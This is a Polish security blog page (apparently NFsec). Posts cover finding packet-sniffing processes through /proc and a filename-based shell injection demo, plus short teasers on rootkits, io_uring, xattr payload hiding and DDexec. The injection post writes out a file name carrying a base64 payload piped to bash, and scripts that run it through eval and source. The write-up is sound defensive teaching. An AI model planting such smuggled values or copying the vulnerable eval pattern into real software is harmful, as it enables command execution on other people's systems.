NFsec Logo

Szybka identyfikacja procesów podsłuchujących ruch sieciowy

16/09/2025 (3 tygodnie temu) w Administracja, Bezpieczeństwo Możliwość komentowania Szybka identyfikacja procesów podsłuchujących ruch sieciowy została wyłączona

P

odsłuchiwanie ruchu sieciowego najczęściej kojarzy się nam z systemami typu: IDS/IPS lub narzędziami takimi, jak: tcpdump. Głównie programy te wykorzystywane są z różnych uzasadnionych powodów np. ochrona sieci lub rozwiązywanie problemów sieciowych. Czasami jednak proces ten może zostać użyty przez złośliwe oprogramowanie lub atakującego w celu kradzieży informacji, czy też aktywacji uśpionych tylnych wejść do systemu. Na szczęście za pomocą bezpośredniego dostępu do pliku /proc/net/packet możemy szybko zidentyfikować procesy powiązane z gniazdami pakietów. Tego typu gniazda (ang. sockets) służą do odbierania lub wysyłania surowych pakietów na poziomie sterownika urządzenia sieciowego (warstwa 2 OSI ; najczęściej karty sieciowej) pozwalając na bardziej bezpośrednią interakcję ze stosem sieciowym niż standardowe gniazda Berkeley w warstwie 4’tej (np. AF_INET / AF_INET6 + SOCK_STREAM / SOCK_DGRAM). Nas będzie interesować typ gniazda albo SOCK_RAW (dla surowych pakietów zawierających nagłówek warstwy łącza), albo SOCK_DGRAM (dla pakietów przetworzonych z usuniętym nagłówkiem warstwy łącza):

root@darkstar:~# cat /proc/net/packet
sk               RefCnt Type Proto  Iface R Rmem   User   Inode
ffff8f34c7d7d000 3      3    88cc   2     1 0      998    6666
ffff8f34c7d7c000 3      3    88cc   3     1 0      998    6685
ffff8f34c0b80000 3      3    0003   0     1 0      0      8767
ffff8f34c5243800 3      2    0003   0     1 0      0      9350

Nas będzie interesować ostatnia kolumna, czyli Inode, która pozwoli nam na identyfikację procesów i ich właścicieli. Pozostaje nam przeszukanie procfs pod numerach ze wspomnianej kolumny, aby otrzymać numery identyfikacyjne procesów odpowiedzialnych za otwarte gniazda pakietów:

root@darkstar:~# ls -al /proc/*/fd/* 2> /dev/null | egrep '(6666|6685|8767|9350)'
lrwx------ 1 root            root            64 Sep 1 19:44 /proc/1053/fd/3 -> socket:[8767]
lrwx------ 1 root            root            64 Sep 1 19:44 /proc/1067/fd/5 -> socket:[9350]
lrwx------ 1 systemd-network systemd-network 64 Sep 1 19:44 /proc/404/fd/18 -> socket:[6666]
lrwx------ 1 systemd-network systemd-network 64 Sep 1 19:44 /proc/404/fd/19 -> socket:[6685]

Powyżej widzimy dwa procesy (ID: 404) systemd przechwytujące ruch sieciowy (często są to protokoły wykrywania sieci i urządzeń sieciowych – tutaj LLDP [88cc]). Mamy również dwa kolejne podejrzane procesy (ID: 1053 oraz 1067), które wymagają zbadania – tym bardziej, że ich właścicielem jest administrator systemu i mają wartość protokołu 0003, który reprezentuje ETH_P_ALL. Oznacza to, że tego typu gniazdo pakietów skonfigurowane jest do przechwytywania każdego pakietu przechodzącego przez dany interfejs sieciowy (tryb promiscuous). Kiedy program tworzy gniazdo pakietów z protokołem ETH_P_ALL, w zasadzie mówi jądru systemu: „- Daj mi kopię wszystkich surowych ramek danych, które widzisz na tej karcie sieciowej”. Jest to podstawowa funkcja wykorzystywana przez narzędzia do analizy sieci:

root@darkstar:~# ls -al /proc/1053/cwd
lrwxrwxrwx 1 root root 0 Sep 16 19:57 /proc/1053/cwd -> /root

root@darkstar:~# ls -al /proc/1053/exe
lrwxrwxrwx 1 root root 0 Sep 16 19:57 /proc/1053/exe -> /usr/sbin/netsniff-ng

root@darkstar:~# cat /proc/1053/comm
netsniff-ng

root@darkstar:~# cat /proc/1053/cmdline
netsniff-ng--inany--filterport 80--jumbo-support--ascii-V

root@darkstar:~# cat /proc/1053/maps
62484cd10000-62484cd15000 r--p 00000000 08:02 533368  /usr/sbin/netsniff-ng
75fc96400000-75fc966c5000 r--p 00000000 08:02 683102  /usr/share/GeoIP/GeoIP.dat
75fc91c00000-75fc95c00000 rw-s 00000000 00:08 8767    socket:[8767]

root@darkstar:~# ls -al /proc/1067/cwd
lrwxrwxrwx 1 root root 0 Sep 16 20:10 /proc/1067/cwd -> /root

root@darkstar:~# ls -al /proc/1067/exe
lrwxrwxrwx 1 root root 0 Sep 16 20:10 /proc/1067/exe -> /usr/bin/tcpflow

root@darkstar:~# cat /proc/1067/comm
tcpflow

root@darkstar:~# cat /proc/1067/cmdline
tcpflow-iany-cport80

root@darkstar:~# cat /proc/1067/maps
60590f0bd000-60590f0c5000 r--p 00000000 08:02 531829  /usr/bin/tcpflow
7c0bf2b0a000-7c0bf2d0a000 rw-s 00000000 00:08 9350    socket:[9350]

Oczywiście, aby przyśpieszyć ten proces, możemy użyć takich poleceń jak lsof oraz ss. Programy te są przydatne, jeśli są już zainstalowane w systemie, ale istnieją pewne zastrzeżenia. Po pierwsze – jeśli ich nie ma w systemie nie możemy ich zainstalować, ponieważ zmienimy stan badanego systemu i możemy nadpisać dowody kompromitacji systemu. Po drugie niektóre warianty złośliwego oprogramowania często przechwytują wywołania systemowe i filtrują wyniki programów, aby ukryć się przed takimi narzędziami, więc istnieje ryzyko, że nic nie ustalimy. Niemniej warto znać ich zastosowanie:

root@darkstar:~# lsof -p 1053
COMMAND    PID USER   FD   TYPE DEVICE SIZE/OFF   NODE NAME
netsniff- 1053 root  cwd    DIR    8,2     4096 655362 /root
netsniff- 1053 root  txt    REG    8,2   250136 533368 /usr/sbin/netsniff-ng
netsniff- 1053 root  mem    REG    0,8            8767 socket:[8767]
netsniff- 1053 root    3u  pack   8767      0t0    ALL type=SOCK_RAW

root@darkstar:~# lsof -p 1067
tcpflow 1067 root  cwd       DIR    8,2     4096 655362 /root
tcpflow 1067 root  txt       REG    8,2   581064 531829 /usr/bin/tcpflow
tcpflow 1067 root  mem       REG    0,8            9350 socket:[9350]
tcpflow 1067 root    5u     pack   9350      0t0    ALL type=SOCK_DGRAM

root@darkstar:~# ss -0 -p
Netid  Recv-Q  Send-Q  Local Address:Port  Peer Address:Port  Process
p_raw  0       0              LLDP:enp0s3              *      users:(("systemd-network",
                                                                       pid=404,fd=18))
p_raw  0       0              LLDP:enp0s8              *      users:(("systemd-network",
                                                                       pid=404,fd=19))
p_raw  0       0                 *:*                   *      users:(("netsniff-ng",
                                                                       pid=1053,fd=3))
p_dgr  0       0                 *:*                   *      users:(("tcpflow",
                                                                       pid=1067,fd=5))

Teraz już wiemy, jak /proc/net/packet może pomóc nam ujawnić podsłuchujące ruch sieciowy procesy, a nawet może ujawnić rozbieżność z tym, co widzimy w wynikach ze standardowych narzędzi.

Więcej informacji: Detecting Packet Sniffing Malware on Linux, List packet sniffers

Szkodliwe polecenia ukryte w nazwie pliku

29/08/2025 w Ataki Internetowe, Bezpieczeństwo Możliwość komentowania Szkodliwe polecenia ukryte w nazwie pliku została wyłączona

O

statnio firma Trellix trafiła na ciekawy atak wymierzony w system Linux. Ponownie tyczy się on metadanych pliku, a dokładniej jego nazwy. Ze względu na fakt, że programy antywirusowe zazwyczaj nie analizują nazw plików atakujący postanowili umieścić w nim polecenia powłoki, aby ściągnąć i uruchomić kolejną fazę ataku. Dzięki prostemu wykorzystaniu techniki wstrzyknięcia polecenia do powłoki (ang. shell command injection) atakujący może zamienić operację na nazwie pliku w automatyczny wyzwalacz wykonania pierwszej fazy infekcji złośliwym oprogramowaniem. Technika ta nadużywa bardzo powszechnego i niebezpiecznego wzorca w wielu skryptach powłoki systemu Linux, a mianowicie: analizę lub wyświetlanie nazw plików bez ich sanitacji (procesu oczyszczania danych wejściowych z potencjalnie niebezpiecznych elementów). Z pozoru nieszkodliwe polecenie, takie jak eval lub source niepoprawnie użyte w skrypcie może nagle stać się wyzwalaczem dla pełnej kompromitacji systemu. Na początku zakodujmy w Base64 nasz własny ładunek, który będzie mógł zostać bezpiecznie wykonany na demonstracyjnym systemie:

agresor@darkstar:~$ base64 <<< 'touch /tmp/payload_executed'
dG91Y2ggL3RtcC9wYXlsb2FkX2V4ZWN1dGVkCg==

Następnie tworzymy plik zawierający w nazwie szkodliwe polecenia:

touch 'malware.pdf`{echo,dG91Y2ggL3RtcC9wYXlsb2FkX2V4ZWN1dGVkCg==}|{base64,-d}|bash`'

Po frazie malware.pdf następuje składnia, która może być interpretowana przez powłokę: {echo,...} - przekazuje ładunek w formacie Base64 do standardowego wyjścia; {base64,-d} - dekoduje ładunek; |bash - zdekodowany ładunek w postaci polecenia lub poleceń zostaje przekazany przez potok do wykonania w powłoce. Teraz już wiemy dlaczego jego nazwa może działać jako wyzwalacz ładunku. Plik z taką nazwą może zostać przetworzony bez wiedzy użytkownika przez źle skonstruowany skrypt powłoki (np. w celu zautomatyzowania prostych czynności) tym samym dyskretnie wykonać złośliwy kod. Przykład:

agresor@darkstar:~$ ls
execute_file1.sh
execute_file2.sh
'malware.pdf`{echo,dG91Y2ggL3RtcC9wYXlsb2FkX2V4ZWN1dGVkCg==}|{base64,-d}|bash`'

agresor@darkstar:~$ cat execute_file1.sh
#!/bin/bash
filename=$1
echo "Processing file: $filename"
# trigger1
eval "echo $filename"

agresor@darkstar:~$ cat execute_file2.sh
#!/bin/bash
filename=$1
echo "Processing file: $filename"
# trigger2
source <(echo "$filename")

agresor@darkstar:~$ ls /tmp

Jeśli wykonamy teraz dowolny skrypt z nieprzemyślaną składnią poleceń (eval / source) to ładunek z nazwy pliku zostanie wykonany:

agresor@darkstar:~$ ./execute_file1.sh malware.pdf\`\{echo\,...}\|\{base64\,-d\}\|bash\`
Processing file: malware.pdf`{echo,dG91Y2ggL3RtcC9...X2V4ZWN1dGVkCg==}|{base64,-d}|bash`
malware.pdf

agresor@darkstar:~$ ls /tmp
payload_executed 

agresor@darkstar:~$ rm /tmp/payload_executed

agresor@darkstar:~$ ./execute_file2.sh malware.pdf\`\{echo\,...}\|\{base64\,-d\}\|bash\`
Processing file: malware.pdf`{echo,dG91Y2ggL3RtcC9...X2V4ZWN1dGVkCg==}|{base64,-d}|bash`
/dev/fd/63: line 1: malware.pdf: command not found

agresor@darkstar:~$ ls /tmp
payload_executed

Technika ta pokazuje, jak wektory o niskiej złożoności mogą prowadzić do poważnych zagrożeń w połączeniu z prostą logiką powłoki poleceń. Nawet w systemie Linux nieprzemyślane procesowanie nazw plików może zostać wykorzystane do wykonania (wstrzyknięcia) poleceń, które nie są częścią oryginalnego skryptu lub zaplanowanego zadania.

Więcej informacji: The Silent, Fileless Threat of VShell

io_uring jako kolejne wejście dla szkodliwego oprogramowania

21/08/2025 w Bezpieczeństwo Możliwość komentowania io_uring jako kolejne wejście dla szkodliwego oprogramowania została wyłączona

I

o_uring jest stosunkowo nowym (wprowadzonym w marcu 2019 roku do jądra 5.1), wysoce wydajnym interfejsem do asynchronicznych operacji wejścia / wyjścia (I/O). Stał się odpowiedzią na brak dobrej i łatwej obsługi wielu jednoczesnych operacji I/O w systemie Linux. Jego zaletą jest możliwość pominięcia „kosztownych” wywołań systemowych (ang. syscalls). Zamiast tradycyjnego modelu, w którym aplikacja musi ciągle „pytać” jądro systemu o status swoich operacji (np. odczyt pliku) io_uring używa dwóch współdzielonych buforów pierścieniowych (stąd jego nazwa). Pierwszy z nich: Submission Queue (SQ) – to kolejka, do której aplikacja wrzuca zadania do wykonania przez jądro. Druga: Completion Queue (CQ) – to kolejna, w której jądro umieszcza wyniki zakończonych zadań. Dzięki temu aplikacja może wysłać całą serię zadań naraz i zostać poinformowana o ich zakończeniu, minimalizując kosztowne przełączanie kontekstu między trybem użytkownika (ang. user space), a trybem jądra (ang. kernel space).
[ czytaj całość… ]

Linux rootkits – wykrywanie ukrytych plików i katalogów

08/08/2025 w Bezpieczeństwo Możliwość komentowania Linux rootkits – wykrywanie ukrytych plików i katalogów została wyłączona

O

programownie typu rootkit stanowi klasę złośliwego oprogramowania (ang. malware), które zostało zaprojektowane w celu zapewnienia ukrytego, trwałego i uprzywilejowanego dostępu do skompromitowanego systemu. Jako post-eksploatacyjne narzędzie (stanowiące końcowy wektor ataku) zazwyczaj uzbrojone jest w funkcje umożliwiające: persystencję działania; eksfiltrację danych; eskalację uprawnień; ukrywanie swoich złośliwych komponentów pod postacią procesów, połączeń sieciowych, a przede wszystkim plików i katalogów. Ukrywanie plików i katalogów odbywa się poprzez modyfikację funkcji jądra systemu odpowiedzialnych za wyświetlanie listy plików i informacji o nich. Zamiast tworzyć i usuwać pliki (co byłoby łatwe do wykrycia) rootkit zmienia sposób, w jaki system „widzi” i raportuje posiadane pliki.
[ czytaj całość… ]

Używanie attr w Linuksie jak rasowe APT

22/07/2025 w Bezpieczeństwo Możliwość komentowania Używanie attr w Linuksie jak rasowe APT została wyłączona

N

ie tak dawno omawialiśmy używanie xattr w macOS. Tym razem czeka nas mała demonstracja, jak podobny scenariusz może zostać wykorzystany w systemie Linux za pomocą pakietu attr. Odpowiada on za dostarczenie narzędzi (setfattr / getfattr) służących do manipulowania rozszerzonymi atrybutami systemu plików typu XFS, EXT4 oraz BTRFS. Umożliwiają one tworzenie własnych, dowolnych atrybutów plików, które możemy traktować jako „tagi” w podobny sposób, w jaki używamy metadanych EXIF dla zdjęć. Podczas gdy programiści mogą używać rozszerzonych atrybutów do rozwijania niestandardowych funkcji aplikacji, atakujący mogą je wykorzystywać do ukrywania szkodliwych ładunków.
[ czytaj całość… ]

Ograniczenie SSH do konkretnego portu źródłowego klienta

17/07/2025 w Administracja, Bezpieczeństwo Możliwość komentowania Ograniczenie SSH do konkretnego portu źródłowego klienta została wyłączona

N

aszym zadaniem jest wystawienie usługi SSH do internetu, ale nie chcemy by ktoś oprócz naszej wiedzy tajemnej mógł się do niej połączyć. Nie będziemy używali rozwiązań typu VPN, port knocking, czy zmiany portu nasłuchu z 22 na inny. Secure Shell będzie nasłuchiwać na standardowym porcie i umożliwiała połączenie z dowolnego adresu IP. Jedynym warunkiem, jaki musi spełnić klient SSH to nawiązanie połączenia z konkretnego, tylko nam znanego portu źródłowego – w przeciwnym wypadku firewall nie dopuści do połączenia:

iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 --sport 31337 -m state --state NEW -j ACCEPT
iptables -A INPUT -j DROP

Jeśli spróbujemy teraz połączyć się ze standardowej puli źródłowych portów (1024:65535) klientem SSH – nasze połączenie zostanie odrzucone:

heavyarms:~ agresor$ ssh 192.168.254.2 -v
OpenSSH_9.9p2, LibreSSL 3.3.6
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 21: include /etc/ssh/ssh_config.d/* matched no files
debug1: /etc/ssh/ssh_config line 54: Applying options for *
debug1: Authenticator provider $SSH_SK_PROVIDER did not resolve; disabling
debug1: Connecting to 192.168.254.2 [192.168.254.2] port 22.

Zupełnie inaczej będzie to wyglądało kiedy wykorzystamy opcję klienta SSH o nazwie ProxyCommand, która wykorzysta pośrednie połączenie przez program netcat, który będzie miał ustawiony port źródłowy połączenia na stały numer 31337:

heavyarms:~ agresor$ ssh -o ProxyCommand="nc -p 31337 %h %p" 192.168.254.2 -v
OpenSSH_9.9p2, LibreSSL 3.3.6
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 21: include /etc/ssh/ssh_config.d/* matched no files
debug1: /etc/ssh/ssh_config line 54: Applying options for *
debug1: Authenticator provider $SSH_SK_PROVIDER did not resolve; disabling
debug1: Executing proxy command: exec nc -p 31337 192.168.254.2 22
debug1: Next authentication method: password
agresor@192.168.254.2's password:

Ten prosty mechanizm Security Through Obscurity pozwala nam na zdalny dostęp do serwera z dowolnego adresu IP jednocześnie trzymając zautomatyzowane boty atakujące SSH z daleka.

Więcej informacji: How can I set the source port for an SSH command-line client?, How does SSH’s ProxyCommand actually work?

Wyłączenie ładowania niepodpisanych modułów

11/06/2025 w Bezpieczeństwo Możliwość komentowania Wyłączenie ładowania niepodpisanych modułów została wyłączona

M

oduły dostarczane przez dystrybucyjne jądra pochodzą z ich kodu źródłowego. Powstają one podczas procesu kompilacji jądra, a narzędzia towarzyszące przy tej operacji tworzą parę autowygenerowanych kluczy (prywatny / publiczny) i podpisują każdy moduł powstający z drzewa kodu źródłowego jądra (używając klucza prywatnego). Klucz publiczny jest zapisywany w samym jądrze systemu. Gdy moduł dostarczony z jądrem jest ładowany w systemie, klucz publiczny może zostać użyty do sprawdzenia, czy moduł pozostał niezmieniony i pochodzi z pierwotnego drzewa kodu źródłowego. Podczas uruchamiania systemu możemy poinstruować jądro, aby zawsze weryfikowało moduły i raportowało wszelkie niepowodzenia ładowania modułów „spoza drzewa” do logów, ponieważ gdy „wymusimy” obsługę tylko podpisanych modułów jądra – system Linux będzie ładować tylko moduły podpisane cyfrowo wcześniej autowygenerowanym kluczem.
[ czytaj całość… ]

Tryb blokady dla jądra systemu Linux

19/04/2025 w Bezpieczeństwo Możliwość komentowania Tryb blokady dla jądra systemu Linux została wyłączona

O

d wersji jądra 5.14 został wprowadzony zestaw poprawek dający systemowi Linux opcjonalną blokadę jądra mającą na celu wzmocnienie granicy między prawami administracyjnymi, a jądrem. Po jej włączeniu różne elementy funkcjonalności jądra (w tym nisko poziomowy dostęp do sprzętu) są ograniczone dla różnych programów. Większość głównych dystrybucji Linuksa zawiera już zestaw tych poprawek pod postacią zaczepu (ang. hook) do Linux Security Modules (LSM), czyli programowalnego szkieletu do implementacji polityk bezpieczeństwa (ang. security policies) i obowiązkowej kontroli dostępu (ang. Mandatory Access Control) w jądrze systemu. Lockdown LSM zapewnia prostą implementację poziomu blokady jądra za pomocą wiersza poleceń jądra lub pseudo systemowi plików sysfs. Listę aktywnych modułów bezpieczeństwa w LSM można znaleźć odczytując plik: /sys/kernel/security/lsm. Jest to lista rozdzielona przecinkami, odzwierciedlająca kolejność, w jakiej przeprowadzane są sprawdzenia modułów.
[ czytaj całość… ]

CVE-2025-30066 – kolejny atak na łańcuch dostaw w GitHub

16/03/2025 w Ataki Internetowe, Bezpieczeństwo 1 komentarz.

1

4 marca 2025 roku po raz kolejny mogliśmy przekonać się jak łatwo można przeprowadzić atak na łańcuch dostaw (ang. supply chain attack). Wystarczy uderzyć w kruchość ludzkiej weryfikacji w danym projekcie, którego popularność jest na tyle duża (lub specyficzna), aby spowodować dość duże spustoszenie, problemy i zaangażowanie dużej ilości ludzi do naprawy przepuszczonego błędu. Ale od początku. Dzisiejszy model rozwoju oprogramowania opiera się na używaniu popularnych platform typu Github, czy Gitlab itp. Oczywiście ma to swoje plusy dodatnie oraz plusy ujemne – szczególnie, gdy tego typu platformy mają swoje problemy bezpieczeństwa, które dziedziczymy razem z ich adopcją. W dodatku oferują funkcjonalności, które są najczęściej uzupełnianie przez zewnętrzne (często lepsze) rozwiązania. Takim przykładem są klocki, z których budowane są przepływy zadań / pracy (ang. workflows). Oferują one zautomatyzowane procesy uruchamiające jedno lub więcej zadań do obsługi cyklu życia oprogramowania. W przypadku GitHub są definiowane przez pliki YAML zaewidencjonowane w repozytorium projektu i zostają uruchomione automatycznie przez konkretne zdarzenie w repozytorium (np. dodanie pliku, zmianę wersji itd.). Mogą być też wyzwalane ręcznie, a także według zdefiniowanego harmonogramu czasowego (ala cron).
[ czytaj całość… ]

Obchodzenie flagi montowania noexec za pomocą ddexec

27/01/2025 w Bezpieczeństwo Możliwość komentowania Obchodzenie flagi montowania noexec za pomocą ddexec została wyłączona

W

systemie Linux wszystko jest plikiem. W celu uruchomienia programu w tym systemie musi on istnieć jako plik i być dostępny w jakiś sposób przez hierarchię systemu plików (tak właśnie działa execve() wykonując program, do którego odnosi się ścieżka dostępu). Plik ten może znajdować się na dysku lub w pamięci (tmpfs), ale nadal potrzebujemy ścieżki do pliku. Dzięki temu bardzo łatwo jest kontrolować, co jest uruchamiane w systemie Linux i ułatwia to wykrywanie zagrożeń oraz narzędzi atakujących. Pomaga to też w nakładaniu opowiednich praw dostępu i polityk kontroli dostępu zapobiegając nieuprzywilejowanym użytkownikom umieszczać i wykonywać pliki gdziekolwiek. Jednak technika użyta w DDexec nie uruchamia nowego procesu w danej ścieżce, ale przejmuje już istniejący.
[ czytaj całość… ]